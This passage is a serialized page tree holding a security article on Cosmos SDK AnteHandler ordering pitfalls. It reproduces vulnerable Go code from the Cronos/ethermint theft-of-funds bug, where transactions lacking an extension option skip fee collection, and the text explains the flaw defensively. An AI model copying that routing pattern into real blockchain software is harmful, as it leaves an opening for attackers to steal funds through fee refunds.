next",{"type":19,"tag":168,"props":76193,"children":76194},{"style":825},[76195],{"type":24,"value":76130},{"type":19,"tag":168,"props":76197,"children":76198},{"style":212},[76199],{"type":24,"value":948},{"type":19,"tag":168,"props":76201,"children":76202},{"style":825},[76203],{"type":24,"value":75959},{"type":19,"tag":168,"props":76205,"children":76206},{"style":212},[76207],{"type":24,"value":915},{"type":19,"tag":168,"props":76209,"children":76210},{"class":170,"line":746},[76211,76215,76220,76224,76228,76232,76236],{"type":19,"tag":168,"props":76212,"children":76213},{"style":212},[76214],{"type":24,"value":73871},{"type":19,"tag":168,"props":76216,"children":76217},{"style":825},[76218],{"type":24,"value":76219},"sdk",{"type":19,"tag":168,"props":76221,"children":76222},{"style":212},[76223],{"type":24,"value":948},{"type":19,"tag":168,"props":76225,"children":76226},{"style":825},[76227],{"type":24,"value":73838},{"type":19,"tag":168,"props":76229,"children":76230},{"style":212},[76231],{"type":24,"value":471},{"type":19,"tag":168,"props":76233,"children":76234},{"style":825},[76235],{"type":24,"value":12310},{"type":19,"tag":168,"props":76237,"children":76238},{"style":212},[76239],{"type":24,"value":12250},{"type":19,"tag":168,"props":76241,"children":76242},{"class":170,"line":755},[76243,76248,76252,76257,76261,76265,76270,76275,76279,76284],{"type":19,"tag":168,"props":76244,"children":76245},{"style":393},[76246],{"type":24,"value":76247}," sigTx",{"type":19,"tag":168,"props":76249,"children":76250},{"style":212},[76251],{"type":24,"value":471},{"type":19,"tag":168,"props":76253,"children":76254},{"style":393},[76255],{"type":24,"value":76256},"ok",{"type":19,"tag":168,"props":76258,"children":76259},{"style":399},[76260],{"type":24,"value":73905},{"type":19,"tag":168,"props":76262,"children":76263},{"style":393},[76264],{"type":24,"value":65514},{"type":19,"tag":168,"props":76266,"children":76267},{"style":212},[76268],{"type":24,"value":76269},".(",{"type":19,"tag":168,"props":76271,"children":76272},{"style":825},[76273],{"type":24,"value":76274},"authsigning",{"type":19,"tag":168,"props":76276,"children":76277},{"style":212},[76278],{"type":24,"value":948},{"type":19,"tag":168,"props":76280,"children":76281},{"style":825},[76282],{"type":24,"value":76283},"SigVerifiableTx",{"type":19,"tag":168,"props":76285,"children":76286},{"style":212},[76287],{"type":24,"value":557},{"type":19,"tag":168,"props":76289,"children":76290},{"class":170,"line":1008},[76291,76295,76299,76303],{"type":19,"tag":168,"props":76292,"children":76293},{"style":419},[76294],{"type":24,"value":9724},{"type":19,"tag":168,"props":76296,"children":76297},{"style":399},[76298],{"type":24,"value":10309},{"type":19,"tag":168,"props":76300,"children":76301},{"style":393},[76302],{"type":24,"value":76256},{"type":19,"tag":168,"props":76304,"children":76305},{"style":212},[76306],{"type":24,"value":691},{"type":19,"tag":168,"props":76308,"children":76309},{"class":170,"line":1025},[76310,76314,76318,76322,76327,76331,76336],{"type":19,"tag":168,"props":76311,"children":76312},{"style":419},[76313],{"type":24,"value":13192},{"type":19,"tag":168,"props":76315,"children":76316},{"style":393},[76317],{"type":24,"value":23311},{"type":19,"tag":168,"props":76319,"children":76320},{"style":212},[76321],{"type":24,"value":471},{"type":19,"tag":168,"props":76323,"children":76324},{"style":393},[76325],{"type":24,"value":76326},"errorsmod",{"type":19,"tag":168,"props":76328,"children":76329},{"style":212},[76330],{"type":24,"value":948},{"type":19,"tag":168,"props":76332,"children":76333},{"style":175},[76334],{"type":24,"value":76335},"Wrap",{"type":19,"tag":168,"props":76337,"children":76338},{"style":212},[76339],{"type":24,"value":870},{"type":19,"tag":168,"props":76341,"children":76342},{"class":170,"line":1042},[76343,76348,76352,76357],{"type":19,"tag":168,"props":76344,"children":76345},{"style":393},[76346],{"type":24,"value":76347}," sdkerrors",{"type":19,"tag":168,"props":76349,"children":76350},{"style":212},[76351],{"type":24,"value":948},{"type":19,"tag":168,"props":76353,"children":76354},{"style":393},[76355],{"type":24,"value":76356},"ErrTxDecode",{"type":19,"tag":168,"props":76358,"children":76359},{"style":212},[76360],{"type":24,"value":915},{"type":19,"tag":168,"props":76362,"children":76363},{"class":170,"line":1055},[76364,76369],{"type":19,"tag":168,"props":76365,"children":76366},{"style":181},[76367],{"type":24,"value":76368}," \"invalid tx type\"",{"type":19,"tag":168,"props":76370,"children":76371},{"style":212},[76372],{"type":24,"value":915},{"type":19,"tag":168,"props":76374,"children":76375},{"class":170,"line":1064},[76376],{"type":19,"tag":168,"props":76377,"children":76378},{"style":212},[76379],{"type":24,"value":65807},{"type":19,"tag":168,"props":76381,"children":76382},{"class":170,"line":1087},[76383],{"type":19,"tag":168,"props":76384,"children":76385},{"style":212},[76386],{"type":24,"value":761},{"type":19,"tag":168,"props":76388,"children":76389},{"class":170,"line":1096},[76390],{"type":19,"tag":168,"props":76391,"children":76392},{"emptyLinePlaceholder":14},[76393],{"type":24,"value":1093},{"type":19,"tag":168,"props":76395,"children":76396},{"class":170,"line":1105},[76397,76402,76406,76411,76415,76420],{"type":19,"tag":168,"props":76398,"children":76399},{"style":393},[76400],{"type":24,"value":76401}," signers",{"type":19,"tag":168,"props":76403,"children":76404},{"style":399},[76405],{"type":24,"value":73905},{"type":19,"tag":168,"props":76407,"children":76408},{"style":393},[76409],{"type":24,"value":76410}," sigTx",{"type":19,"tag":168,"props":76412,"children":76413},{"style":212},[76414],{"type":24,"value":948},{"type":19,"tag":168,"props":76416,"children":76417},{"style":175},[76418],{"type":24,"value":76419},"GetSigners",{"type":19,"tag":168,"props":76421,"children":76422},{"style":212},[76423],{"type":24,"value":5172},{"type":19,"tag":168,"props":76425,"children":76426},{"class":170,"line":1174},[76427,76431,76435,76439,76443,76447,76451,76456],{"type":19,"tag":168,"props":76428,"children":76429},{"style":419},[76430],{"type":24,"value":422},{"type":19,"tag":168,"props":76432,"children":76433},{"style":393},[76434],{"type":24,"value":804},{"type":19,"tag":168,"props":76436,"children":76437},{"style":212},[76438],{"type":24,"value":471},{"type":19,"tag":168,"props":76440,"children":76441},{"style":393},[76442],{"type":24,"value":4582},{"type":19,"tag":168,"props":76444,"children":76445},{"style":399},[76446],{"type":24,"value":73905},{"type":19,"tag":168,"props":76448,"children":76449},{"style":419},[76450],{"type":24,"value":74888},{"type":19,"tag":168,"props":76452,"children":76453},{"style":393},[76454],{"type":24,"value":76455}," signers",{"type":19,"tag":168,"props":76457,"children":76458},{"style":212},[76459],{"type":24,"value":691},{"type":19,"tag":168,"props":76461,"children":76462},{"class":170,"line":1182},[76463,76468,76472,76477,76481,76486,76490,76495,76499,76503,76507,76511,76515,76520],{"type":19,"tag":168,"props":76464,"children":76465},{"style":393},[76466],{"type":24,"value":76467}," balance",{"type":19,"tag":168,"props":76469,"children":76470},{"style":399},[76471],{"type":24,"value":73905},{"type":19,"tag":168,"props":76473,"children":76474},{"style":393},[76475],{"type":24,"value":76476}," abd",{"type":19,"tag":168,"props":76478,"children":76479},{"style":212},[76480],{"type":24,"value":948},{"type":19,"tag":168,"props":76482,"children":76483},{"style":393},[76484],{"type":24,"value":76485},"bk",{"type":19,"tag":168,"props":76487,"children":76488},{"style":212},[76489],{"type":24,"value":948},{"type":19,"tag":168,"props":76491,"children":76492},{"style":175},[76493],{"type":24,"value":76494},"getBalance",{"type":19,"tag":168,"props":76496,"children":76497},{"style":212},[76498],{"type":24,"value":500},{"type":19,"tag":168,"props":76500,"children":76501},{"style":393},[76502],{"type":24,"value":17735},{"type":19,"tag":168,"props":76504,"children":76505},{"style":212},[76506],{"type":24,"value":471},{"type":19,"tag":168,"props":76508,"children":76509},{"style":393},[76510],{"type":24,"value":4582},{"type":19,"tag":168,"props":76512,"children":76513},{"style":212},[76514],{"type":24,"value":471},{"type":19,"tag":168,"props":76516,"children":76517},{"style":393},[76518],{"type":24,"value":76519},"ATOM",{"type":19,"tag":168,"props":76521,"children":76522},{"style":212},[76523],{"type":24,"value":557},{"type":19,"tag":168,"props":76525,"children":76526},{"class":170,"line":1212},[76527,76531,76536,76540,76545,76549,76554],{"type":19,"tag":168,"props":76528,"children":76529},{"style":419},[76530],{"type":24,"value":672},{"type":19,"tag":168,"props":76532,"children":76533},{"style":393},[76534],{"type":24,"value":76535}," balance",{"type":19,"tag":168,"props":76537,"children":76538},{"style":212},[76539],{"type":24,"value":948},{"type":19,"tag":168,"props":76541,"children":76542},{"style":393},[76543],{"type":24,"value":76544},"Amount",{"type":19,"tag":168,"props":76546,"children":76547},{"style":399},[76548],{"type":24,"value":6157},{"type":19,"tag":168,"props":76550,"children":76551},{"style":393},[76552],{"type":24,"value":76553}," MIN_BALANCE",{"type":19,"tag":168,"props":76555,"children":76556},{"style":212},[76557],{"type":24,"value":691},{"type":19,"tag":168,"props":76559,"children":76560},{"class":170,"line":1220},[76561,76566,76570,76574,76578,76582,76586],{"type":19,"tag":168,"props":76562,"children":76563},{"style":419},[76564],{"type":24,"value":76565}," return",{"type":19,"tag":168,"props":76567,"children":76568},{"style":393},[76569],{"type":24,"value":23311},{"type":19,"tag":168,"props":76571,"children":76572},{"style":212},[76573],{"type":24,"value":471},{"type":19,"tag":168,"props":76575,"children":76576},{"style":393},[76577],{"type":24,"value":76326},{"type":19,"tag":168,"props":76579,"children":76580},{"style":212},[76581],{"type":24,"value":948},{"type":19,"tag":168,"props":76583,"children":76584},{"style":175},[76585],{"type":24,"value":76335},{"type":19,"tag":168,"props":76587,"children":76588},{"style":212},[76589],{"type":24,"value":870},{"type":19,"tag":168,"props":76591,"children":76592},{"class":170,"line":1252},[76593,76598],{"type":19,"tag":168,"props":76594,"children":76595},{"style":393},[76596],{"type":24,"value":76597}," ErrInsufficientBalance",{"type":19,"tag":168,"props":76599,"children":76600},{"style":212},[76601],{"type":24,"value":915},{"type":19,"tag":168,"props":76603,"children":76604},{"class":170,"line":1260},[76605,76610],{"type":19,"tag":168,"props":76606,"children":76607},{"style":181},[76608],{"type":24,"value":76609}," \"Insufficient Balance\"",{"type":19,"tag":168,"props":76611,"children":76612},{"style":212},[76613],{"type":24,"value":915},{"type":19,"tag":168,"props":76615,"children":76616},{"class":170,"line":1320},[76617],{"type":19,"tag":168,"props":76618,"children":76619},{"style":212},[76620],{"type":24,"value":75004},{"type":19,"tag":168,"props":76622,"children":76623},{"class":170,"line":6486},[76624],{"type":19,"tag":168,"props":76625,"children":76626},{"style":212},[76627],{"type":24,"value":752},{"type":19,"tag":168,"props":76629,"children":76630},{"class":170,"line":6504},[76631],{"type":19,"tag":168,"props":76632,"children":76633},{"style":212},[76634],{"type":24,"value":761},{"type":19,"tag":168,"props":76636,"children":76637},{"class":170,"line":6549},[76638],{"type":19,"tag":168,"props":76639,"children":76640},{"emptyLinePlaceholder":14},[76641],{"type":24,"value":1093},{"type":19,"tag":168,"props":76643,"children":76644},{"class":170,"line":6655},[76645,76649,76654,76658,76662,76666,76671,76675,76680],{"type":19,"tag":168,"props":76646,"children":76647},{"style":419},[76648],{"type":24,"value":14438},{"type":19,"tag":168,"props":76650,"children":76651},{"style":175},[76652],{"type":24,"value":76653}," next",{"type":19,"tag":168,"props":76655,"children":76656},{"style":212},[76657],{"type":24,"value":500},{"type":19,"tag":168,"props":76659,"children":76660},{"style":393},[76661],{"type":24,"value":17735},{"type":19,"tag":168,"props":76663,"children":76664},{"style":212},[76665],{"type":24,"value":471},{"type":19,"tag":168,"props":76667,"children":76668},{"style":393},[76669],{"type":24,"value":76670},"tx",{"type":19,"tag":168,"props":76672,"children":76673},{"style":212},[76674],{"type":24,"value":471},{"type":19,"tag":168,"props":76676,"children":76677},{"style":393},[76678],{"type":24,"value":76679},"simulate",{"type":19,"tag":168,"props":76681,"children":76682},{"style":212},[76683],{"type":24,"value":557},{"type":19,"tag":168,"props":76685,"children":76686},{"class":170,"line":20965},[76687],{"type":19,"tag":168,"props":76688,"children":76689},{"style":212},[76690],{"type":24,"value":1326},{"type":19,"tag":20,"props":76692,"children":76693},{},[76694,76696,76701,76703,76709,76711,76717],{"type":24,"value":76695},"Where should this custom ",{"type":19,"tag":27,"props":76697,"children":76699},{"className":76698},[],[76700],{"type":24,"value":75959},{"type":24,"value":76702}," be placed relative to other ",{"type":19,"tag":27,"props":76704,"children":76706},{"className":76705},[],[76707],{"type":24,"value":76708},"AnteHandlers",{"type":24,"value":76710}," provided by cosmos-sdk?\nConsidering that we are only concerned with transactions that satisfy our check, inserting it right after the ",{"type":19,"tag":27,"props":76712,"children":76714},{"className":76713},[],[76715],{"type":24,"value":76716},"SetUpContextDecorator",{"type":24,"value":76718}," should work, right?",{"type":19,"tag":20,"props":76720,"children":76721},{},[76722],{"type":19,"tag":269,"props":76723,"children":76726},{"href":76724,"rel":76725},"https://github.com/cosmos/cosmos-sdk/blob/f0aec3f30dd952e1b4b3a5b25e0412c1af5baaac/x/auth/ante/ante.go#L41",[273],[76727],{"type":24,"value":74228},{"type":19,"tag":158,"props":76729,"children":76731},{"code":76730,"language":73653,"meta":7,"className":73654,"style":7},"anteDecorators := []sdk.AnteDecorator{\n NewSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n // INSERT HERE\n NewExtensionOptionsDecorator(options.ExtensionOptionChecker),\n NewValidateBasicDecorator(),\n NewTxTimeoutHeightDecorator(),\n NewValidateMemoDecorator(options.AccountKeeper),\n NewConsumeGasForTxSizeDecorator(options.AccountKeeper),\n NewDeductFeeDecorator(options.AccountKeeper, options.BankKeeper, options.FeegrantKeeper, options.TxFeeChecker),\n NewSetPubKeyDecorator(options.AccountKeeper), // SetPubKeyDecorator must be called before all signature verification decorators\n NewValidateSigCountDecorator(options.AccountKeeper),\n NewSigGasConsumeDecorator(options.AccountKeeper, options.SigGasConsumer),\n NewSigVerificationDecorator(options.AccountKeeper, options.SignModeHandler),\n NewIncrementSequenceDecorator(options.AccountKeeper),\n}\n",[76732],{"type":19,"tag":27,"props":76733,"children":76734},{"__ignoreMap":7},[76735,76768,76785,76793,76822,76834,76846,76875,76903,76982,77015,77043,77088,77133,77161],{"type":19,"tag":168,"props":76736,"children":76737},{"class":170,"line":171},[76738,76743,76747,76751,76755,76759,76764],{"type":19,"tag":168,"props":76739,"children":76740},{"style":393},[76741],{"type":24,"value":76742},"anteDecorators",{"type":19,"tag":168,"props":76744,"children":76745},{"style":399},[76746],{"type":24,"value":73905},{"type":19,"tag":168,"props":76748,"children":76749},{"style":212},[76750],{"type":24,"value":73716},{"type":19,"tag":168,"props":76752,"children":76753},{"style":825},[76754],{"type":24,"value":76219},{"type":19,"tag":168,"props":76756,"children":76757},{"style":212},[76758],{"type":24,"value":948},{"type":19,"tag":168,"props":76760,"children":76761},{"style":825},[76762],{"type":24,"value":76763},"AnteDecorator",{"type":19,"tag":168,"props":76765,"children":76766},{"style":212},[76767],{"type":24,"value":8324},{"type":19,"tag":168,"props":76769,"children":76770},{"class":170,"line":198},[76771,76776,76780],{"type":19,"tag":168,"props":76772,"children":76773},{"style":175},[76774],{"type":24,"value":76775}," NewSetUpContextDecorator",{"type":19,"tag":168,"props":76777,"children":76778},{"style":212},[76779],{"type":24,"value":15826},{"type":19,"tag":168,"props":76781,"children":76782},{"style":373},[76783],{"type":24,"value":76784},"// outermost AnteDecorator. SetUpContext must be called first\n",{"type":19,"tag":168,"props":76786,"children":76787},{"class":170,"line":415},[76788],{"type":19,"tag":168,"props":76789,"children":76790},{"style":373},[76791],{"type":24,"value":76792}," // INSERT HERE\n",{"type":19,"tag":168,"props":76794,"children":76795},{"class":170,"line":450},[76796,76801,76805,76809,76813,76818],{"type":19,"tag":168,"props":76797,"children":76798},{"style":175},[76799],{"type":24,"value":76800}," NewExtensionOptionsDecorator",{"type":19,"tag":168,"props":76802,"children":76803},{"style":212},[76804],{"type":24,"value":500},{"type":19,"tag":168,"props":76806,"children":76807},{"style":393},[76808],{"type":24,"value":33513},{"type":19,"tag":168,"props":76810,"children":76811},{"style":212},[76812],{"type":24,"value":948},{"type":19,"tag":168,"props":76814,"children":76815},{"style":393},[76816],{"type":24,"value":76817},"ExtensionOptionChecker",{"type":19,"tag":168,"props":76819,"children":76820},{"style":212},[76821],{"type":24,"value":4172},{"type":19,"tag":168,"props":76823,"children":76824},{"class":170,"line":560},[76825,76830],{"type":19,"tag":168,"props":76826,"children":76827},{"style":175},[76828],{"type":24,"value":76829}," NewValidateBasicDecorator",{"type":19,"tag":168,"props":76831,"children":76832},{"style":212},[76833],{"type":24,"value":898},{"type":19,"tag":168,"props":76835,"children":76836},{"class":170,"line":666},[76837,76842],{"type":19,"tag":168,"props":76838,"children":76839},{"style":175},[76840],{"type":24,"value":76841}," NewTxTimeoutHeightDecorator",{"type":19,"tag":168,"props":76843,"children":76844},{"style":212},[76845],{"type":24,"value":898},{"type":19,"tag":168,"props":76847,"children":76848},{"class":170,"line":694},[76849,76854,76858,76862,76866,76871],{"type":19,"tag":168,"props":76850,"children":76851},{"style":175},[76852],{"type":24,"value":76853}," NewValidateMemoDecorator",{"type":19,"tag":168,"props":76855,"children":76856},{"style":212},[76857],{"type":24,"value":500},{"type":19,"tag":168,"props":76859,"children":76860},{"style":393},[76861],{"type":24,"value":33513},{"type":19,"tag":168,"props":76863,"children":76864},{"style":212},[76865],{"type":24,"value":948},{"type":19,"tag":168,"props":76867,"children":76868},{"style":393},[76869],{"type":24,"value":76870},"AccountKeeper",{"type":19,"tag":168,"props":76872,"children":76873},{"style":212},[76874],{"type":24,"value":4172},{"type":19,"tag":168,"props":76876,"children":76877},{"class":170,"line":707},[76878,76883,76887,76891,76895,76899],{"type":19,"tag":168,"props":76879,"children":76880},{"style":175},[76881],{"type":24,"value":76882}," NewConsumeGasForTxSizeDecorator",{"type":19,"tag":168,"props":76884,"children":76885},{"style":212},[76886],{"type":24,"value":500},{"type":19,"tag":168,"props":76888,"children":76889},{"style":393},[76890],{"type":24,"value":33513},{"type":19,"tag":168,"props":76892,"children":76893},{"style":212},[76894],{"type":24,"value":948},{"type":19,"tag":168,"props":76896,"children":76897},{"style":393},[76898],{"type":24,"value":76870},{"type":19,"tag":168,"props":76900,"children":76901},{"style":212},[76902],{"type":24,"value":4172},{"type":19,"tag":168,"props":76904,"children":76905},{"class":170,"line":725},[76906,76911,76915,76919,76923,76927,76931,76935,76939,76944,76948,76952,76956,76961,76965,76969,76973,76978],{"type":19,"tag":168,"props":76907,"children":76908},{"style":175},[76909],{"type":24,"value":76910}," NewDeductFeeDecorator",{"type":19,"tag":168,"props":76912,"children":76913},{"style":212},[76914],{"type":24,"value":500},{"type":19,"tag":168,"props":76916,"children":76917},{"style":393},[76918],{"type":24,"value":33513},{"type":19,"tag":168,"props":76920,"children":76921},{"style":212},[76922],{"type":24,"value":948},{"type":19,"tag":168,"props":76924,"children":76925},{"style":393},[76926],{"type":24,"value":76870},{"type":19,"tag":168,"props":76928,"children":76929},{"style":212},[76930],{"type":24,"value":471},{"type":19,"tag":168,"props":76932,"children":76933},{"style":393},[76934],{"type":24,"value":33513},{"type":19,"tag":168,"props":76936,"children":76937},{"style":212},[76938],{"type":24,"value":948},{"type":19,"tag":168,"props":76940,"children":76941},{"style":393},[76942],{"type":24,"value":76943},"BankKeeper",{"type":19,"tag":168,"props":76945,"children":76946},{"style":212},[76947],{"type":24,"value":471},{"type":19,"tag":168,"props":76949,"children":76950},{"style":393},[76951],{"type":24,"value":33513},{"type":19,"tag":168,"props":76953,"children":76954},{"style":212},[76955],{"type":24,"value":948},{"type":19,"tag":168,"props":76957,"children":76958},{"style":393},[76959],{"type":24,"value":76960},"FeegrantKeeper",{"type":19,"tag":168,"props":76962,"children":76963},{"style":212},[76964],{"type":24,"value":471},{"type":19,"tag":168,"props":76966,"children":76967},{"style":393},[76968],{"type":24,"value":33513},{"type":19,"tag":168,"props":76970,"children":76971},{"style":212},[76972],{"type":24,"value":948},{"type":19,"tag":168,"props":76974,"children":76975},{"style":393},[76976],{"type":24,"value":76977},"TxFeeChecker",{"type":19,"tag":168,"props":76979,"children":76980},{"style":212},[76981],{"type":24,"value":4172},{"type":19,"tag":168,"props":76983,"children":76984},{"class":170,"line":746},[76985,76990,76994,76998,77002,77006,77010],{"type":19,"tag":168,"props":76986,"children":76987},{"style":175},[76988],{"type":24,"value":76989}," NewSetPubKeyDecorator",{"type":19,"tag":168,"props":76991,"children":76992},{"style":212},[76993],{"type":24,"value":500},{"type":19,"tag":168,"props":76995,"children":76996},{"style":393},[76997],{"type":24,"value":33513},{"type":19,"tag":168,"props":76999,"children":77000},{"style":212},[77001],{"type":24,"value":948},{"type":19,"tag":168,"props":77003,"children":77004},{"style":393},[77005],{"type":24,"value":76870},{"type":19,"tag":168,"props":77007,"children":77008},{"style":212},[77009],{"type":24,"value":12624},{"type":19,"tag":168,"props":77011,"children":77012},{"style":373},[77013],{"type":24,"value":77014},"// SetPubKeyDecorator must be called before all signature verification decorators\n",{"type":19,"tag":168,"props":77016,"children":77017},{"class":170,"line":755},[77018,77023,77027,77031,77035,77039],{"type":19,"tag":168,"props":77019,"children":77020},{"style":175},[77021],{"type":24,"value":77022}," NewValidateSigCountDecorator",{"type":19,"tag":168,"props":77024,"children":77025},{"style":212},[77026],{"type":24,"value":500},{"type":19,"tag":168,"props":77028,"children":77029},{"style":393},[77030],{"type":24,"value":33513},{"type":19,"tag":168,"props":77032,"children":77033},{"style":212},[77034],{"type":24,"value":948},{"type":19,"tag":168,"props":77036,"children":77037},{"style":393},[77038],{"type":24,"value":76870},{"type":19,"tag":168,"props":77040,"children":77041},{"style":212},[77042],{"type":24,"value":4172},{"type":19,"tag":168,"props":77044,"children":77045},{"class":170,"line":1008},[77046,77051,77055,77059,77063,77067,77071,77075,77079,77084],{"type":19,"tag":168,"props":77047,"children":77048},{"style":175},[77049],{"type":24,"value":77050}," NewSigGasConsumeDecorator",{"type":19,"tag":168,"props":77052,"children":77053},{"style":212},[77054],{"type":24,"value":500},{"type":19,"tag":168,"props":77056,"children":77057},{"style":393},[77058],{"type":24,"value":33513},{"type":19,"tag":168,"props":77060,"children":77061},{"style":212},[77062],{"type":24,"value":948},{"type":19,"tag":168,"props":77064,"children":77065},{"style":393},[77066],{"type":24,"value":76870},{"type":19,"tag":168,"props":77068,"children":77069},{"style":212},[77070],{"type":24,"value":471},{"type":19,"tag":168,"props":77072,"children":77073},{"style":393},[77074],{"type":24,"value":33513},{"type":19,"tag":168,"props":77076,"children":77077},{"style":212},[77078],{"type":24,"value":948},{"type":19,"tag":168,"props":77080,"children":77081},{"style":393},[77082],{"type":24,"value":77083},"SigGasConsumer",{"type":19,"tag":168,"props":77085,"children":77086},{"style":212},[77087],{"type":24,"value":4172},{"type":19,"tag":168,"props":77089,"children":77090},{"class":170,"line":1025},[77091,77096,77100,77104,77108,77112,77116,77120,77124,77129],{"type":19,"tag":168,"props":77092,"children":77093},{"style":175},[77094],{"type":24,"value":77095}," NewSigVerificationDecorator",{"type":19,"tag":168,"props":77097,"children":77098},{"style":212},[77099],{"type":24,"value":500},{"type":19,"tag":168,"props":77101,"children":77102},{"style":393},[77103],{"type":24,"value":33513},{"type":19,"tag":168,"props":77105,"children":77106},{"style":212},[77107],{"type":24,"value":948},{"type":19,"tag":168,"props":77109,"children":77110},{"style":393},[77111],{"type":24,"value":76870},{"type":19,"tag":168,"props":77113,"children":77114},{"style":212},[77115],{"type":24,"value":471},{"type":19,"tag":168,"props":77117,"children":77118},{"style":393},[77119],{"type":24,"value":33513},{"type":19,"tag":168,"props":77121,"children":77122},{"style":212},[77123],{"type":24,"value":948},{"type":19,"tag":168,"props":77125,"children":77126},{"style":393},[77127],{"type":24,"value":77128},"SignModeHandler",{"type":19,"tag":168,"props":77130,"children":77131},{"style":212},[77132],{"type":24,"value":4172},{"type":19,"tag":168,"props":77134,"children":77135},{"class":170,"line":1042},[77136,77141,77145,77149,77153,77157],{"type":19,"tag":168,"props":77137,"children":77138},{"style":175},[77139],{"type":24,"value":77140}," NewIncrementSequenceDecorator",{"type":19,"tag":168,"props":77142,"children":77143},{"style":212},[77144],{"type":24,"value":500},{"type":19,"tag":168,"props":77146,"children":77147},{"style":393},[77148],{"type":24,"value":33513},{"type":19,"tag":168,"props":77150,"children":77151},{"style":212},[77152],{"type":24,"value":948},{"type":19,"tag":168,"props":77154,"children":77155},{"style":393},[77156],{"type":24,"value":76870},{"type":19,"tag":168,"props":77158,"children":77159},{"style":212},[77160],{"type":24,"value":4172},{"type":19,"tag":168,"props":77162,"children":77163},{"class":170,"line":1055},[77164],{"type":19,"tag":168,"props":77165,"children":77166},{"style":212},[77167],{"type":24,"value":1326},{"type":19,"tag":20,"props":77169,"children":77170},{},[77171,77173,77178,77180,77186,77187,77193],{"type":24,"value":77172},"Unfortunately, that order wouldn't work. This is because there are other ",{"type":19,"tag":27,"props":77174,"children":77176},{"className":77175},[],[77177],{"type":24,"value":76708},{"type":24,"value":77179},", such as ",{"type":19,"tag":27,"props":77181,"children":77183},{"className":77182},[],[77184],{"type":24,"value":77185},"SigGasConsumeDecorator",{"type":24,"value":8436},{"type":19,"tag":27,"props":77188,"children":77190},{"className":77189},[],[77191],{"type":24,"value":77192},"ConsumeGasForTxSizeDecorator",{"type":24,"value":77194},", that modify account balances. By placing our decorator at the very start of the chain, we might pass the check and later have the signers' balances deducted before reaching the end of the decorator chain and starting transaction execution. Consequently, the invariance we intended to ensure may no longer hold, rendering our check useless.",{"type":19,"tag":20,"props":77196,"children":77197},{},[77198,77200,77206,77208,77213],{"type":24,"value":77199},"The easiest \"mitigation\" is to move our decorator down into the chain list. We say this lightly because it's important to consider various factors such as whether nested ",{"type":19,"tag":27,"props":77201,"children":77203},{"className":77202},[],[77204],{"type":24,"value":77205},"msgs",{"type":24,"value":77207}," are allowed (e.g. the authz module is present), as this precaution alone might not be enough to fully resolve the issue. Without a comprehensive understanding of the entire system, there is a risk that mistakes will still be made in the ",{"type":19,"tag":27,"props":77209,"children":77211},{"className":77210},[],[77212],{"type":24,"value":76034},{"type":24,"value":77214}," chain.",{"type":19,"tag":7050,"props":77216,"children":77218},{"id":77217},"real-world-examples-2",[77219],{"type":24,"value":74178},{"type":19,"tag":20,"props":77221,"children":77222},{},[77223,77225,77230,77232,77239],{"type":24,"value":77224},"An instance of ",{"type":19,"tag":27,"props":77226,"children":77228},{"className":77227},[],[77229],{"type":24,"value":75959},{"type":24,"value":77231}," misuse is a ",{"type":19,"tag":269,"props":77233,"children":77236},{"href":77234,"rel":77235},"https://medium.com/immunefi/cronos-theft-of-transactions-fees-bugfix-postmortem-b33f941b9570",[273],[77237],{"type":24,"value":77238},"Theft of Fund bug",{"type":24,"value":77240}," that was exploited in a Cronos contract.",{"type":19,"tag":20,"props":77242,"children":77243},{},[77244,77246,77251,77253,77258,77260,77266,77268,77274,77276,77281,77283,77288],{"type":24,"value":77245},"In this scenario, ",{"type":19,"tag":27,"props":77247,"children":77249},{"className":77248},[],[77250],{"type":24,"value":77205},{"type":24,"value":77252}," are multiplexed to different ",{"type":19,"tag":27,"props":77254,"children":77256},{"className":77255},[],[77257],{"type":24,"value":75959},{"type":24,"value":77259}," sets through the user-controlled ",{"type":19,"tag":27,"props":77261,"children":77263},{"className":77262},[],[77264],{"type":24,"value":77265},"ExtensionOptionsEthereumTx",{"type":24,"value":77267}," option. However, due to a lack of tx validation, if a ",{"type":19,"tag":27,"props":77269,"children":77271},{"className":77270},[],[77272],{"type":24,"value":77273},"MsgEthereumTx",{"type":24,"value":77275}," does not have ",{"type":19,"tag":27,"props":77277,"children":77279},{"className":77278},[],[77280],{"type":24,"value":77265},{"type":24,"value":77282}," specified, it will be routed to non-Ethereum ",{"type":19,"tag":27,"props":77284,"children":77286},{"className":77285},[],[77287],{"type":24,"value":76708},{"type":24,"value":77289},", failing to collect fees from users as intended. Consequently, attackers can exploit the fee refund at the end of transaction processing to steal funds.",{"type":19,"tag":20,"props":77291,"children":77292},{},[77293],{"type":19,"tag":269,"props":77294,"children":77297},{"href":77295,"rel":77296},"https://github.com/crypto-org-chain/ethermint/blob/82805507f7d2e83cad547736883dc22acfb52440/app/ante/ante.go#L33",[273],[77298],{"type":24,"value":74228},{"type":19,"tag":158,"props":77300,"children":77302},{"code":77301,"language":73653,"meta":7,"className":73654,"style":7},"func NewAnteHandler(\n ak evmtypes.AccountKeeper,\n bankKeeper evmtypes.BankKeeper,\n evmKeeper EVMKeeper,\n feeGrantKeeper authante.FeegrantKeeper,\n channelKeeper channelkeeper.Keeper,\n signModeHandler authsigning.SignModeHandler,\n) sdk.AnteHandler {\n return func(\n ctx sdk.Context, tx sdk.Tx, sim bool,\n ) (newCtx sdk.Context, err error) {\n var anteHandler sdk.AnteHandler\n\n defer Recover(ctx.Logger(), &err)\n\n txWithExtensions, ok := tx.(authante.HasExtensionOptionsTx)\n if ok {\n opts := txWithExtensions.GetExtensionOptions()\n if len(opts) > 0 {\n switch typeURL := opts[0].GetTypeUrl(); typeURL {\n case \"/ethermint.evm.v1.ExtensionOptionsEthereumTx\":\n // handle as *evmtypes.MsgEthereumTx\n\n anteHandler = sdk.ChainAnteDecorators(\n NewEthSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n ...\n NewEthIncrementSenderSequenceDecorator(ak), // innermost AnteDecorator.\n )\n\n default:\n return ctx, stacktrace.Propagate(\n sdkerrors.Wrap(sdkerrors.ErrUnknownExtensionOptions, typeURL),\n \"rejecting tx with unsupported extension option\",\n )\n }\n\n return anteHandler(ctx, tx, sim)\n }\n }\n\n // SHOULD CHECK TX IS NOT MsgEthereumTx HERE\n\n switch tx.(type) {\n case sdk.Tx:\n anteHandler = sdk.ChainAnteDecorators(\n authante.NewSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n ...\n authante.NewIncrementSequenceDecorator(ak), // innermost AnteDecorator\n )\n default:\n return ctx, stacktrace.Propagate(\n sdkerrors.Wrapf(sdkerrors.ErrUnknownRequest, \"invalid transaction type: %T\", tx),\n 